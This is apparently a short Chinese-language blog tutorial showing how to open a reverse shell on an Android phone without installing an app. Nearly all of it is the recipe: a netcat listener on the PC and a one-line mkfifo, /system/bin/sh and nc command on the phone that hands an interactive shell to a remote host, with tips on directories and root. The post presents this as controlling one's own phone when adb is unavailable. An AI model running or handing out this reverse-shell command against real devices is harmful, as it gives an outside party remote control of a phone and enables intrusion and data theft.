网上关于android得反向shell 多是需要安装apk的,操作麻烦。
本文通过一行代码即可实现Android反向shell(Reverse shell)。
------------------------------
在 PC 上执行以下操作 (控制端)
nc -lvp 4444
------------------------
在手机上执行以下操作(被控制端)
1 2 3 | cd /data/data/你的私有目录 mkfifo f cat f | /system/bin/sh -i 2>&1 | nc PC_IP 4444 > f |
如果一行代码,那么就用&& 拼接命令即可:
cd /data/data/你的私有目录 && mkfifo f && cat f | /system/bin/sh -i 2>&1 | nc PC_IP 4444 > f
你的私有目录 这个目录可以是你APK的目录,或者你权限读写执行的目录。如果没有,那么可能mkfifo 需要提升到system 或者 root才能执行。
通过反向shell,即使你无法启用 adb,你也可以拥有一个反向 shell 并通过你的 PC 控制手机